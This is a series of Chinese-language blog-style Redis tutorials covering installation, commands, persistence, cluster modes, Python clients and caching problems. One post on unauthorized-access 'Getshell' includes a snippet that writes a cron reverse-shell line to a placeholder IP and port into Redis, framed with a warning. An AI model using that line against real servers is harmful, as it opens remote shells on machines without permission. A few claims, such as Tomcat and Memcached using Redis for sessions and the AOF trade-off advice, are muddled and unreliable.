2024-09-01

概述

Redis是一个开源的使用C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

特性

  • 性能极高 – Redis能读的速度是110000次/s,写的速度是81000次/s。
  • 持久化 – 可以将内存中的数据保存在硬盘中,重启时可以再次加载。
  • 多种数据类型 – 支持字符串(String), 列表(List), 集合(Set), 有序集合(Sorted Set) 和 哈希类型(Hash) 等数据类型。
  • 原子性 – 所有操作都是原子性,要么成功要么失败。
  • 支持多种编程语言 – 支持Python, Ruby, Erlang, Tcl等服务器端语言。

应用场景

  • 缓存系统 – 因为Redis能读的速度是110000次/s,写的速度是81000次/s,所以非常适合作为缓存系统。
  • 分布式集群的会话存储 – 比如Java中的Tomcat、Memcached就是使用Redis做会话存储。
  • 计数器/限速器 – 可以使用Redis的INCR, DECR命令实现。
  • 消息队列 – 使用List作为队列,使用Pub/Sub作为发布/订阅。
  • 排行榜/计分板 – 使用Sorted Set。

安装

  • Linux下安装:

    
    
    
    # 下载
    wget http://download.redis.io/releases/redis-5.0.5.tar.gz
    # 解压
    tar xzf redis-5.0.5.tar.gz
    # 编译
    cd redis-5.0.5
    make
    # 测试
    make test
    # 安装
    sudo make install
  • Windows下安装:

    可以通过下载官方提供的Windows版本或使用WSL(Windows Subsystem for Linux)。

客户端

  • 命令行客户端:

    
    
    
    redis-cli
  • 多种编程语言的客户端:

    • Python: redis-py
    • Java: Jedis
    • Node.js: ioredis
    • Ruby: redis-rb
    • C#: StackExchange.Redis

以上是Redis的基本概念、特性和应用场景,以及如何在Linux和Windows上安装Redis及其常用客户端。

2024-09-01

Redis 常见的数据类型及操作方法如下:

  1. 字符串(String)

    • 设置值:SET key value
    • 获取值:GET key
    • 增加数字:INCR keyDECR key
    • 追加值:APPEND key value
  2. 列表(List)

    • 从列表左侧插入:LPUSH key value
    • 从列表右侧插入:RPUSH key value
    • 获取列表:LRANGE key start stop
    • 从列表左侧弹出:LPOP key
    • 从列表右侧弹出:RPOP key
  3. 集合(Set)

    • 添加元素:SADD key member
    • 获取全部元素:SMEMBERS key
    • 删除元素:SREM key member
    • 判断元素是否存在:SISMEMBER key member
  4. 有序集合(Sorted Set)

    • 添加元素:ZADD key score member
    • 获取全部元素:ZRANGE key start stop
    • 删除元素:ZREM key member
    • 按分数范围获取元素:ZRANGEBYSCORE key min max
  5. 哈希(Hash)

    • 设置值:HSET key field value
    • 获取值:HGET key field
    • 获取所有字段和值:HGETALL key
    • 删除字段:HDEL key field
  6. 位图(Bitmap)

    • 设置位:SETBIT key offset value
    • 获取位:GETBIT key offset
    • 统计位为1的数量:BITCOUNT key
  7. HyperLogLog

    • 添加元素:PFADD key element
    • 计算基数:PFCOUNT key
    • 合并多个HyperLogLog:PFMERGE destkey sourcekey [sourcekey ...]
  8. 发布/订阅(Pub/Sub)

    • 订阅频道:SUBSCRIBE channel [channel ...]
    • 发布消息:PUBLISH channel message
  9. 事务(Transaction)

    • 开启事务:MULTI
    • 执行事务:EXEC
    • 放弃事务:DISCARD
  10. 键管理

    • 查看键:KEYS pattern
    • 删除键:DEL key
    • 检查键是否存在:EXISTS key
    • 设置过期时间:EXPIRE key seconds

这些是Redis中最常见的数据类型和操作方法。在实际应用中,可以根据需要选择合适的数据类型和操作命令。

2024-09-01

在Redis中,数据的持久化主要有两种方式:RDB(Redis DataBase)和AOF(Append Only File)。

  1. RDB:定时将内存中的数据快照保存到磁盘的一个压缩二进制文件中。可以配置定时任务来控制快照的频率。



# 在redis.conf中配置
save 900 1      # 900秒内至少1个键被修改则触发保存
save 300 10     # 300秒内至少10个键被修改则触发保存
save 60 10000   # 60秒内至少10000个键被修改则触发保存
 
dbfilename dump.rdb  # RDB文件名
dir /path/to/your/redis/directory  # RDB文件存储目录
  1. AOF:每个写命令都通过append操作保存到文件中。在Redis重启时,通过重放这些命令来恢复数据。



# 在redis.conf中配置
appendonly yes  # 开启AOF
appendfilename "appendonly.aof"  # AOF文件名
dir /path/to/your/redis/directory  # AOF文件存储目录

# AOF文件的更新频率
appendfsync always  # 每次写入都同步,最慢但最安全
appendfsync everysec  # 每秒同步一次,折衷方案
appendfsync no  # 完全依赖操作系统,最快但不安全

在实际操作中,可以根据数据的重要性和性能需求选择合适的持久化方式。如果对数据持久化要求不高,可以只使用RDB;如果对数据安全性要求较高,并且可以接受较长时间的数据丢失,可以只使用AOF;如果需要既保证数据安全性又想要较好的性能,可以同时开启RDB和AOF。

2024-09-01

Redis支持三种集群模式:主从模式、哨兵模式和Cluster模式。

  1. 主从模式(Master-Slave Mode)

主从模式是最简单的Redis集群模式。在这种模式下,有一个主节点和一个或多个从节点,主节点用于处理写操作,从节点用于处理读操作。数据是以快照的方式从主节点同步到从节点。




# 配置主节点
redis-server /etc/redis/redis.conf

# 配置从节点
redis-server /etc/redis/redis.conf --slaveof 127.0.0.1 6379
  1. 哨兵模式(Sentinel Mode)

哨兵模式是主从模式的升级版。它通过哨兵进程监控主节点和从节点,并在主节点出现故障时自动进行故障转移。




# 启动哨兵进程
redis-sentinel /etc/redis/sentinel.conf
  1. Cluster模式(Cluster Mode)

Cluster模式是最复杂的Redis集群模式,它通过分片(sharding)机制实现数据的分布式存储。在Cluster模式下,数据是以集群内部的一个个节点存储的,每个节点都可以处理读写操作。




# 配置Cluster环境
redis-cli --cluster create 127.0.0.1:7000 127.0.0.1:7001 127.0.0.1:7002 --cluster-replicas 1

以上是三种Redis集群模式的简要说明和配置示例。在实际应用中,你需要根据具体需求选择合适的集群模式,并进行相应的配置。

2024-09-01

在项目中使用Redis时,我们主要收获了以下知识点:

  1. 性能优化:通过使用Redis缓存经常访问的数据,显著提高了应用的响应速度。
  2. 提升可用性:Redis的数据持久化机制可以有效地防止因服务器宕机导致的数据丢失问题。
  3. 高并发:Redis提供的分布式锁机制有效地解决了多线程/进程修改同一资源的并发问题。
  4. 数据结构丰富:Redis提供的数据结构丰富,例如Hash、Set、Sorted Set等,可以满足不同的数据存储需求。
  5. 复杂操作:Redis的Lua脚本功能使得我们可以在服务端完成复杂的操作,提高了系统的可扩展性。

解决方案和实例代码:




# 连接Redis
redis_client = redis.StrictRedis(host='localhost', port=6379, db=0)
 
# 缓存数据
def cache_data(key, value, expire_time=3600):
    redis_client.setex(key, expire_time, value)
 
# 获取缓存数据
def get_cached_data(key):
    return redis_client.get(key)
 
# 使用Lua脚本进行原子操作
def safe_increment(key):
    script = """
    local val = redis.call('get', KEYS[1])
    if val then
        return redis.call('incr', KEYS[1])
    else
        return 1
    end
    """
    return redis_client.eval(script, 1, key)

这段代码展示了如何使用Python的redis库连接Redis服务器,如何设置和获取缓存数据,以及如何使用Lua脚本在Redis服务器端安全地进行自增操作。

2024-09-01

ZRANGE 是 Redis 中的一个命令,用于获取有序集合中的成员及其分数。

命令的基本语法如下:




ZRANGE key start stop [WITHSCORES]
  • key: 目标有序集合的名称。
  • start: 成员索引的开始位置,0 表示第一个成员。
  • stop: 成员索引的结束位置,-1 表示最后一个成员。
  • WITHSCORES: 可选参数,如果指定,则命令返回成员和它们的分数。

示例代码(使用 redis-py 库):




import redis
 
# 连接到 Redis
r = redis.Redis(host='localhost', port=6379, db=0)
 
# 有序集合的 key
key = 'myzset'
 
# 获取有序集合中所有成员及其分数
members_with_scores = r.zrange(key, 0, -1, withscores=True)
print(members_with_scores)
 
# 获取有序集合中所有成员
members = r.zrange(key, 0, -1)
print(members)

在这个例子中,我们首先导入了 redis 模块,连接到了本地运行的 Redis 实例,然后使用 zrange 命令获取了名为 myzset 的有序集合中所有成员及其分数。withscores=True 参数表示我们希望同时返回成员和它们的分数。

2024-09-01

缓存穿透:查询不存在的数据,缓存和数据库都不会命中,导致请求直接打到数据库。

解决方法

  1. 使用布隆过滤器:在缓存之前加一层布隆过滤器,可以高效地判断一个元素是否可能存在于集合中。
  2. 为查询参数设置一个固定值:如果查询参数不存在,则返回一个默认值或空结果,并将其缓存。

缓存击穿:缓存失效时,大量请求直接打到数据库。

解决方法

  1. 设置热点数据永不过期:对于访问频率高、更新频率低的数据,设置为永不过期。
  2. 加互斥锁:当缓存失效时,通过互斥锁保证只有一个线程去数据库查询,其他线程等待。

缓存雪崩:缓存集体失效,大量请求打到数据库。

解决方法

  1. 设置随机过期时间:为缓存数据设置不同的过期时间,避免同时失效。
  2. 数据预热:在高峰期之前预先加载数据到缓存中。
  3. 监控告警:设置缓存监控告警机制,一旦发现大量缓存失效,采取相应的流量控制措施。
2024-09-01

由于提供的代码是一个利用Redis未授权访问漏洞进行Getshell的脚本,而且涉及到安全问题,我不能提供直接的代码实现。但我可以提供一个概念性的Python脚本示例,用于连接到Redis服务器并执行一些基本命令。




import redis
 
# 连接到Redis服务器
redis_server = redis.StrictRedis(host='your_redis_host', port=6379, db=0)
 
# 设置一个测试键
redis_server.set('test_key', 'test_value')
 
# 获取并打印测试键的值
test_value = redis_server.get('test_key')
print(test_value)
 
# 执行Getshell操作,这里需要具备写入权限
redis_server.set('dangerous_command', "\\n* * * * * bash -i >& /dev/tcp/your_ip/your_port 0>&1\\n")

请注意,上述代码是为了演示如何使用redis-py库连接到Redis服务器并进行基本操作。Getshell操作涉及到未授权写入文件,通常需要有目标服务器的高级权限。此外,反弹shell到你的服务器也违反了计算机安全的基本原则,不建议在非法或未经授权的情况下使用。

2024-09-01



import redis
 
# 连接Redis
r = redis.Redis(host='localhost', port=6379, db=0)
 
# 设置键值对
r.set('key', 'value')
 
# 获取键的值
value = r.get('key')
print(value)  # 输出 b'value'
 
# 检查键是否存在
exists = r.exists('key')
print(exists)  # 输出 True 或 False
 
# 删除键
r.delete('key')
 
# 批量设置键值对
r.mset({'key1': 'value1', 'key2': 'value2'})
 
# 批量获取键的值
values = r.mget(['key1', 'key2'])
print(values)  # 输出 [b'value1', b'value2']
 
# 获取键的列表
keys = r.keys('*')
print(keys)  # 输出所有键的列表
 
# 关闭连接
r.close()

这段代码展示了如何使用Python的redis模块来连接Redis,执行基本的数据操作,如设置、获取、检查、删除键,以及批量操作。代码中的hostport参数应该根据实际Redis服务器的配置进行相应的修改。

2024-09-01

在Linux系统中,可以通过使用系统的服务管理工具来设置Redis开机自启。以下是一些常见的Linux发行版中设置Redis开机自启的方法:

对于使用Systemd的系统(如Ubuntu 16.04及以后版本,CentOS 7及以后版本):

  1. 首先确保你已经安装了Redis。
  2. 启用Redis服务以在开机时自启动:



sudo systemctl enable redis
  1. (可选)你可以立即启动Redis服务:



sudo systemctl start redis

对于使用init的系统(如较旧的Ubuntu或Debian):

  1. 确保你已经安装了Redis。
  2. /etc/rc.local文件中添加启动Redis的命令:



sudo nano /etc/rc.local

添加以下行:




/etc/init.d/redis-server start

确保该行在exit 0之前。

对于使用Upstart的系统(如旧的Ubuntu版本):

  1. 确保你已经安装了Redis。
  2. 启用Redis服务自启动:



sudo start redis

注意:

  • 如果你的Redis是通过其他方式安装的,比如使用源码编译,可能需要修改上述命令中的路径以指向正确的Redis启动脚本。
  • 如果你使用的是非标准的Redis安装方式,可能需要创建一个新的Systemd服务文件或修改rc.local文件来适应你的特定需求。